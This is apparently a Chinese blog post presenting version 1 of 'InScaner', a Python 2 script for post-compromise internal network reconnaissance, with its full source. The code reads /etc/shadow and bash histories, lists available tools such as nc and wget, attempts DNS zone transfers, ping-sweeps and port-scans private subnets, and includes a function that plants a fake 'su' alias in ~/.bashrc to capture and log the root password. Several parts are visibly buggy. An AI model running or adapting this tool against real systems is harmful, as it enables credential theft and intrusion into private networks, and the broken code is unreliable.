渗透测试从互联网找到了入侵内网的入口点之后剩下的就内网渗透测试了。
有人说到了内网还不容易,随便拿个hscan一抓一大把弱口令。我同意这个看法,但是在我看来,内网环境复杂得多,要想精确获取自己想要的目标,要处理的内容要多得多,只有获得了必要的信息,才有的抓的目标,我认为一般内网环境中的渗透测试最难和最重要的是精确的信息收集,剩下的自然可以顺理成章的进行常规的漏洞扫描和利用。如果有一张详细的资产列表、网络规划图和对应的密码列表,就没必要渗透了,直接获取各种权限就得了,但这样的几率很小,但是也是可能的,只要时间允许,也可以做邮件监控、社工分析等,但这是另外一回事了。
在做内网渗透的时候,发现自己开始就是不停的敲命令:查看IP看看跳板是不是在内网环境中、ping8.8.8.8看看是否能外连、netstat看看内网连接的IP地址、查看hosts文件有没有hosts绑定信息、arp-a查看arp列表、traceroute查看路由可达性、nslookup查看dns解析、find命令查找数据库配置信息和敏感文件等等。这些其实都是很简单的操作,没什么技术含量,但是感觉每次测试都会花很多时间去处理,笔记弄得的很乱。所以现在决定自己弄个脚本自动跑跑,最后弄个统一输出文档,提高工作效率。敬请期待。
第一版写得比较烂,但基本能用,会逐渐改进
【v1功能如下:
1、获取主机信息+dns域传送漏洞利用+root口令嗅探(需要自己调用下代码)
2、获取内网网段收集+存活ip判断(多线程)+常用端口扫描(多线程)
bug : linux下的语法有些报错、linux下的ip存活判断有些问题
【v2更新计划:
1、修复v1存在的bug和编码问题
2、增加敏感文件和配置文件搜索功能
3、弱口令扫描功能
【v3更新计划:
1、修复v2bug
2、增加arp嗅探功能
3、报告输出+交互式美化
【v4更新计划:
1、修复v3bug
2、改进代码效率
下面是v1版本的源码,一个很长的类,本来输出内容是中文提示,后来发现在一些linux上是乱码,索性改成了英文:
- #!/usr/bin/python
- # -*- coding: cp936 -*-
- #coding:utf-8
- import os
- import getpass
- import time
- import socket
- import re
- '''''for portscan'''
- from threading import Thread
- from Queue import Queue
- import platform
- import types
- from subprocess import Popen, PIPE
- '''''for dns'''
- import struct
- import sys
- class InScaner:
- def __init__(self,domain):
- self.NUM = 200
- self._re_IP = r'\d+\.\d+\.\d+\.\d+'
- self._re_startwithIP = r'^\d+\.\d+\.\d+\.\d+.*'
- self._re_network = r'^\d+\.\d+\.\d+'
- self.re_ip = re.compile(self._re_IP)
- self.re_startwithIP = re.compile(self._re_startwithIP)
- self.re_network = re.compile(self._re_network)
- self.host_ip = socket.gethostbyname(socket.gethostname())
- self.domain = domain
- self.path=os.getcwd()
- self.host_hostname = ''#os.popen('hostname').read()
- self.host_id = ''#os.popen('id').read()
- self.host_userlist=[]
- self.host_useronline=''
- self.host_last=''
- self.host_systemId = ''#os.popen('uname -a').read()
- self.host_systemversion = ''
- self.host_shadow = ''
- self.host_issue = ''
- self.host_bash_history = []
- self.host_services = '' #未进行识别
- self.host_ESTABLISHEDlink = ''
- self.host_hackCmd = []
- self.host_complie = []
- self.dns=[]
- #self.dns=['58.83.193.214']
- self.etc_hosts=[]
- self.ifconfig=''
- self.arp=''
- self.route=''
- self.inerwww=''
- self.internetout=''
- self.keyip=[]
- self.keyipmaybe=[]
- self.networkmaybe=[]
- self.network = []#192.168.1.0格式
- self.q = Queue()
- self.s = Queue()
- self.networkIPlistA = []
- self.portlist = [21,22,23,25,80,81,443,1433,1521,3306,3398,5800,5900,5901,5902,6379,7001,7002,7070,8080,8081,8181,8888,9090,9200,27017,28018]
- self.networkIP_portOpen={}
- self.networkIP_weakPass={}
- def HostInfoGet(self):
- print '###################Get localhost information####################'
- print '#####localhost IP####'
- print self.host_ip+'\n'
- _hostcmdList = [
- 'hostname',#主机名
- 'id', #用户id
- '''''
- cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4}'
- ''',
- 'w',
- 'last',
- 'uname -a',
- 'cat /etc/issue',
- ]
- print '#####Get hostname#####'
- self.host_hostname = os.popen(_hostcmdList[0]).read()
- print self.host_hostname
- print '#####Get current user#####'
- self.host_id = os.popen(_hostcmdList[1]).read()
- print self.host_id
- print '#####Get users informaintion#####'
- userlist = os.popen(_hostcmdList[2]).read()
- self.host_userlist = userlist.split('\n')
- print userlist
- print '#####Get online users list#####'
- self.host_useronline = os.popen(_hostcmdList[3]).read()
- print self.host_useronline
- print '#####Get users login history#####'
- self.host_last = os.popen(_hostcmdList[4]).read()
- print self.host_last
- print '#####Get linux kernel version#####'
- self.host_systemId = os.popen(_hostcmdList[5]).read()
- print self.host_systemId
- print '#####Get linux press version#####'
- self.host_systemversion = os.popen(_hostcmdList[6]).read()
- print self.host_systemversion
- print '#####Get import local files#####'
- _hostfileList = [
- 'cat /etc/shadow',
- 'cat ~/.bash_history',
- 'cat /root/.bash_history'
- ]
- print '#####Get shadow#####'
- self.host_shadow = os.popen(_hostfileList[0]).read()
- print self.host_shadow
- print '#####Get bash_history#####'
- self.host_bash_history.append(os.popen(_hostfileList[1]).read())
- self.host_bash_history.append(os.popen(_hostfileList[2]).read())
- print '###Get too much###'
- _servicecmdlist = [
- 'netstat -antlp',
- '''''
- netstat -antlp | grep 'ESTABLISHED'
- '''
- ]
- print '#####Get system services and listening Port#####'
- self.host_services = os.popen(_servicecmdlist[0]).read()
- print self.host_services
- print '#####Get network ESTABLISHED#####'
- self.host_ESTABLISHEDlink = os.popen(_servicecmdlist[1]).read()
- print self.host_ESTABLISHEDlink
- print '#####Get cmd can be used#####'
- _host_hackSoft = [
- 'nmap',
- 'nc',
- 'netcat',
- 'wget',
- 'tcpdump',
- 'wireshark',
- 'rpm',
- 'yum',
- 'apt-get',
- 'ftp',
- 'ssh',
- 'telnet',
- 'scp',
- 'nslookup'
- ]
- for cmd in _host_hackSoft:
- typecmd = 'type '+cmd+' >/dev/null'
- try:
- out = os.system(typecmd)
- if 0 == out:
- self.host_hackCmd.append(cmd)
- print '%s is ok' % cmd
- except:
- print '%s is unused' % cmd
- print '###################Get localhost information finished####################\n'
- def mgFileGet(self):
- print '##########获取口令密码文件中。。。。。。##########'
- print 'PHP'
- print 'tomcat'
- print 'apache'
- print 'struts'
- print 'jboss'
- print 'weblogic'
- print 'ftp'
- print 'ssh'
- print 'vnc'
- print 'mysql'
- print 'oracle'
- print 'search'
- pass
- def NetworkInfoGet(self):
- print '####################Get network information####################'
- _netfileListCat = [
- 'cat /etc/hosts',
- 'cat /etc/resolv.conf',
- ]
- print '######Get DNS server IP#####'
- self.dns = self.re_ip.findall(os.popen(_netfileListCat[1]).read())
- for dns in self.dns:
- print dns
- print '#####Get /etc/hosts list#####'
- hosts = os.popen(_netfileListCat[0]).read().split('\n')
- for host in hosts:
- #print host
- _host=self.re_startwithIP.findall(host)
- if _host!=[]:
- self.etc_hosts += _host
- for host in self.etc_hosts:
- print host
- _netcmdList = [
- 'ifconfig -a',
- 'arp -a',
- 'route -n',
- 'ping %s -c 2' % self.domain,
- 'ping 114.114.114.114 -c 2'
- ]
- print '#####Get localhost ip and interface information#####'
- self.ifconfig = os.popen(_netcmdList[0]).read()
- print self.ifconfig
- print '#####Get arp list#####'
- self.arp = os.popen(_netcmdList[1]).read()
- print self.arp
- print '#####Get route information#####'
- self.route = os.popen(_netcmdList[2]).read()
- print self.route
- print '#####Get innerDNSresolve test#####'
- self.inerwww = os.popen(_netcmdList[3]).read()
- print self.inerwww
- print '#####Can search the Internet or not#####'
- self.internetout = os.popen(_netcmdList[4]).read()
- print self.internetout
- print '#####DNS test#####'
- if self.dns == []:
- print 'sorry,we have no the dns ip'
- else:
- for dnsip in self.dns:
- print '###dns %s results###' % dnsip
- try:
- self.GetDomainList(dnsip,self.domain)
- except:
- print '##dns test failed##'
- #获取DNS域传送信息
- print '#####Network exist#####'
- #先收集所有结果中的IP地址,去掉排除的ip地址后,把ip地址转换为网段,之后去重,最后保存
- ip = []
- keyip = []
- keyipmaybe =[]
- network = []
- keynetwork = []
- keynetworkmaybe = []
- _ex_ip =[
- '127.0.0.1',
- '0.0.0.0',
- '255.255.255.255',
- '255.255.255.0',
- '255.255.0.0',
- '255.0.0.0',
- '127.0.1.1',
- '8.8.8.8',
- '114.114.114.114'
- ]
- _iplistsearch = [
- self.host_useronline,
- self.host_last,
- self.host_services,
- self.host_ESTABLISHEDlink,
- self.dns,
- self.etc_hosts,
- self.ifconfig,
- self.arp,
- self.route,
- self.inerwww
- ]
- _iplistsearchmaybe = [
- self.host_bash_history
- ]
- for text in _iplistsearchmaybe:
- if type(text) == type('1'):
- ip+=self.__getIPinStr(text)
- elif type(text) == type(['1']):
- for text2 in text:
- ip+=self.__getIPinStr(text2)
- [keyipmaybe.append(ipnew) for ipnew in ip if ipnew not in (keyipmaybe+_ex_ip)]#ip地址处理
- self.keyipmaybe = keyipmaybe
- #变量中的IP并去重,去无效IP
- ip = []
- for text in _iplistsearch:
- if type(text) == type('1'):
- ip+=self.__getIPinStr(text)
- elif type(text) == type(['1']):
- for text2 in text:
- ip+=self.__getIPinStr(text2)
- [keyip.append(ipnew) for ipnew in ip if ipnew not in (keyip+_ex_ip)]#ip地址处理
- #将IP地址转换为网段,并去重
- self.keyip = keyip
- _ex_network =[
- '127.0.0.0'
- ]
- for netip in self.keyipmaybe:
- network.append(self.__ip2network(netip))
- [keynetworkmaybe.append(net) for net in network if net not in keynetworkmaybe+_ex_network]
- network = []
- for netip in self.keyip:
- network.append(self.__ip2network(netip))
- [keynetwork.append(net) for net in network if net not in keynetwork+_ex_network]
- #筛选出私有IP地址
- _privatNet = [
- '172',
- '192',
- '10'
- ]
- print "network may exist:"
- for net in keynetworkmaybe:
- netsplit = net.split('.')
- if netsplit[0] in _privatNet:
- print net
- self.networkmaybe.append(net)
- print "network exists ensure:"
- for net in keynetwork:
- netsplit = net.split('.')
- if netsplit[0] in _privatNet:
- print net
- self.network.append(net)
- def __ip2network(self,ip):
- return self.re_network.findall(ip)[0]+'.0'
- def __getIPinStr(self,string):
- ip = self.re_ip.findall(string)
- return ip
- __LEN_QUERY = 0 # Length of Query String
- def __gen_query(self,domain):
- import random
- TRANS_ID = random.randint(1, 65535) # random ID
- FLAGS = 0; QDCOUNT = 1; ANCOUNT = 0; NSCOUNT = 0; ARCOUNT = 0
- data = struct.pack(
- '!HHHHHH',
- TRANS_ID, FLAGS,QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT
- )
- query = ''
- for label in domain.strip().split('.'):
- query += struct.pack('!B', len(label)) + label.lower()
- query += '\x00' # end of domain name
- data += query
- global __LEN_QUERY
- __LEN_QUERY = len(query) # length of query section
- q_type = 252 # Type AXFR = 252
- q_class = 1 # CLASS IN
- data += struct.pack('!HH', q_type, q_class)
- data = struct.pack('!H', len(data) ) + data # first 2 bytes should be length
- return data
- __OFFvSET = 0 # Response Data offset
- __TYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA',
- 12: 'PTR', 15: 'MX', 16: 'TXT',
- 28: 'AAAA', 38: 'A6', 99: 'SPF',}
- def __decode(self,response):
- RCODE = struct.unpack('!H',response[2:4])[0] & 0b00001111
- if RCODE != 0:
- print 'Transfer Failed. %>_<%'
- sys.exit(-1)
- anwser_rrs = struct.unpack('!H', response[6:8] )[0]
- print '<< %d records in total >>' % anwser_rrs
- global __LEN_QUERY, __OFFSET
- __OFFSET = 12 + __LEN_QUERY + 4 # header = 12, type + class = 4
- while __OFFSET < len(response):
- name_offset = response[__OFFSET: __OFFSET + 2] # 2 bytes
- name_offset = struct.unpack('!H', name_offset)[0]
- if name_offset > 0b1100000000000000:
- name = self.__get_name(response, name_offset - 0b1100000000000000, True)
- else:
- name = self.__get_name(response, __OFFSET)
- type = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]
- type = self.__TYPES.get(type, '')
- if type != 'A': print name.ljust(20), type.ljust(10)
- __OFFSET += 8 # type: 2 bytes, class: 2bytes, time to live: 4 bytes
- data_length = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]
- if data_length == 4 and type == 'A':
- ip = [str(num) for num in struct.unpack('!BBBB', response[__OFFSET+2: __OFFSET+6] ) ]
- print name.ljust(20), type.ljust(10), '.'.join(ip)
- __OFFSET += 2 + data_length
- # is_pointer: an name offset or not
- def __get_name(self,response, name_offset, is_pointer=False):
- global __OFFSET
- labels = []
- while True:
- num = struct.unpack('B', response[name_offset])[0]
- if num == 0 or num > 128: break # end with 0b00000000 or 0b1???????
- labels.append( response[name_offset + 1: name_offset + 1 + num] )
- name_offset += 1 + num
- if not is_pointer: __OFFSET += 1 + num
- name = '.'.join(labels)
- __OFFSET += 2 # 0x00
- return name
- def GetDomainList(self,dnsip,domain):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect( (dnsip, 53) )
- data = self.__gen_query(domain)
- s.send(data)
- s.settimeout(2.0) # In case recv() blocked
- response = s.recv(4096)
- res_len = struct.unpack('!H', response[:2])[0] # Response Content Length
- while len(response) < res_len:
- response += s.recv(4096)
- s.close()
- self.__decode(response[2:])
- def _ip2int(self,ip):
- return sum([256**j*int(i) for j,i in enumerate(ip.split('.')[::-1])])
- def _int2ip(self,intip):
- return '.'.join([str(intip/(256**i)%256) for i in range(3,-1,-1)])
- def __pingScan(self):
- while True:
- ip = self.q.get()
- if platform.system() == 'Linux':
- p = Popen(['ping','-c 2',ip],stdout=PIPE)
- m = re.search('ttl=', p.stdout.read())
- if m!=0:
- self.networkIPlistA.append(ip)
- if platform.system()=='Windows':
- p = Popen('ping -n 2 ' + ip, stdout=PIPE)
- m = re.search('TTL=', p.stdout.read())
- if m:
- self.networkIPlistA.append(ip)
- self.q.task_done()
- def __portScan(self):
- while True:
- scan = self.s.get()
- portConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- portConnect.settimeout(100)
- try:
- portConnect.connect((scan[0],scan[1]))
- portConnect.close()
- self.networkIP_portOpen[scan[0]] += str(scan[1]) + ','
- #print self.networkIP_portOpen
- except Exception:
- pass
- #print e
- self.s.task_done()
- def PortScan(self):
- print '##########Start port scanning.....#########'
- print '###ip alive:###'
- if self.network == []:
- print '!!!!sorry,IP is NULL !!!!!'
- else:
- #得到要ping的ip列表:
- _pinglist = []
- for network in self.network:
- for i in range(1,255):
- _pinglist.append(self._int2ip(self._ip2int(network)+i))
- #开始执行
- for i in range(self.NUM):
- self.t = Thread(target = self.__pingScan)
- self.t.setDaemon(True)
- self.t.start()
- for ip in _pinglist:
- self.q.put(ip)
- self.q.join()
- #打印扫描存活IP列表结果,并给端口开发字典赋值
- for ip in self.networkIPlistA:
- self.networkIP_portOpen[ip]=''
- print ip
- print '###Port opening list...###'
- _scanlist = []
- for ip in self.networkIPlistA:
- for port in self.portlist:
- _scanlist.append([ip,port])
- for i in range(self.NUM):
- self.t2 = Thread(target = self.__portScan)
- self.t2.setDaemon(True)
- self.t2.start()
- for scan in _scanlist:
- self.s.put(scan)
- self.s.join()
- #print self.networkIP_portOpen
- #打印端口扫描结果:
- for ip in self.networkIPlistA:
- portlist = self.networkIP_portOpen[ip].split(',')
- #print portlist
- for port in portlist:
- if port != '':
- print '%s:%s' % (ip,port)
- #先ping,后直接进行TCP连接扫描
- print '##########Port scan finished##########'
- print '####################网络信息获取结束####################\n'
- def PassScan(self,hostsIP,service,port,username,password):
- #支持ssh、telnet、ftp、mysql、oralce
- print '##########Weak password scanning##########'
- return
- def GetRootPass(self): #测试用用不知道好不好用
- _file = open('~/.bashrc','a')
- _file.write("alias su=\’%s+/root.py\'") % self.path
- _file.close()
- current_time = time.strftime("%Y-%m-%d %H:%M")
- _logfile="%s+.su.log" % self.path #密码获取后记录在这里
- #CentOS
- #fail_str = "su: incorrect password"
- #Ubuntu
- #fail_str = "su: Authentication failure"
- #For Linux Korea #centos,ubuntu,korea 切换root用户失败提示不一样
- fail_str = "su: incorrect password"
- try:
- passwd = getpass.getpass(prompt='Password: ');
- _file = open(_logfile,'a').write("[%s]t%s"%(passwd, current_time))#截取root密码
- _file.write('\n')
- _file.close()
- except:
- pass
- time.sleep(1)
- print fail_str #打印切换root失败提示
- pass
- def Runall(self):
- pass
- if __name__ == '__main__':
- out=InScaner('ocellus.biz')
- out.HostInfoGet()
- out.NetworkInfoGet()
- out.PortScan()
- print '###########InScan finished###########'